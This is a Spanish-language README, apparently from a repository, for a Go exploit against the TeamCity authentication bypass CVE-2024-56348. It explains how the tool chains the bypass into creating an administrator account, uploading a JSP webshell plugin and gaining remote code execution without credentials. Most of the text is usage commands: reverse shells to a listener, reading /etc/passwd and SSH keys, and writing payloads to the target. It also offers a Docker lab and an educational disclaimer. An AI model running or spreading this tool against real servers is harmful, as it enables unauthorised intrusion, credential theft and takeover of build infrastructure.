Exploit basado en Go para CVE-2024-56348 dirigido a la omisión de autenticación y ejecución remota de código en JetBrains TeamCity. Proporciona shell interactiva, shell inversa, lectura/escritura de archivos y ejecución de comandos individuales sin credenciales.
CVE-2024-56348 es una vulnerabilidad crítica de bypass de autenticación en JetBrains TeamCity on-premises que afecta a todas las versiones anteriores a 2024.12. La API REST maneja incorrectamente las solicitudes a rutas que contienen ;.jsp, permitiendo a un atacante no autenticado invocar cualquier endpoint REST como si estuviera completamente autenticado.
Este exploit encadena el bypass con la propia API REST de TeamCity para crear una cuenta SYSTEM_ADMIN, generar un token de API y lograr ejecución remota de código completa — ya sea a través del endpoint de depuración incorporado o de un webshell de plugin JSP cargado dinámicamente. No se requieren credenciales.
Versiones afectadas: JetBrains TeamCity on-premises < 2024.12
-command con salida completa de stdout, stderr y código de salidagit clone https://github.com/joshuavanderpoll/cve-2024-56348.git
cd CVE-2024-56348
go build -o exp cve-2024-56348.go
go install github.com/joshuavanderpoll/cve-2024-56348@latest
go run github.com/joshuavanderpoll/cve-2024-56348@latest -t http://127.0.0.1:8111
-t URL objetivo (p. ej. http://127.0.0.1:8111)
-command Ejecuta un solo comando y muestra la salida
-shell Genera una shell inversa (requiere -lhost y -lport)
-lhost Host del listener para la shell inversa
-lport Puerto del listener para la shell inversa
-read-file Lee un archivo remoto y muestra su contenido
-write-file Ruta remota para escribir (requiere -file-content)
-file-content Contenido a escribir al usar -write-file
La ausencia de bandera de acción inicia una shell interactiva automáticamente.
Se conecta al objetivo, confirma el bypass, crea una cuenta de administrador temporal y abre una shell interactiva. El prompt muestra el código de salida del último comando en verde (éxito) o rojo (distinto de cero).
./cve-2024-56348 -t http://127.0.0.1:8111

Ejecuta un comando y muestra stdout, stderr y código de salida por separado.
./cve-2024-56348 -t http://127.0.0.1:8111 -command "id"

Despliega el webshell de plugin JSP y activa una shell inversa hacia tu listener. Inicia nc -lvp 4444 primero.
./cve-2024-56348 -t http://127.0.0.1:8111 -shell -lhost 10.0.0.1 -lport 4444

Lee cualquier archivo al que el proceso de TeamCity tenga acceso — útil para archivos de configuración, claves SSH, etc.
./cve-2024-56348 -t http://127.0.0.1:8111 -read-file /etc/passwd

Escribe contenido arbitrario en una ruta remota. Útil para colocar cargas adicionales o modificar la configuración.
./cve-2024-56348 -t http://127.0.0.1:8111 -write-file /tmp/readme.txt -file-content "LEAVE ME HERE"

Un entorno autónomo de Docker Compose con una instancia vulnerable de TeamCity para pruebas locales. Consulta DOCKER.md para más detalles
cd docker/
docker compose up -d
./cve-2024-56348 -t http://127.0.0.1:8111
Si el script devuelve "[-] Plugin upload failed." intenta iniciar sesión con el usuario hackindex e inténtalo de nuevo. (las credenciales se pueden encontrar en DOCKER.md)
Esta herramienta se proporciona únicamente con fines educativos y de investigación. El creador no asume ninguna responsabilidad por el mal uso o daño causado por esta herramienta.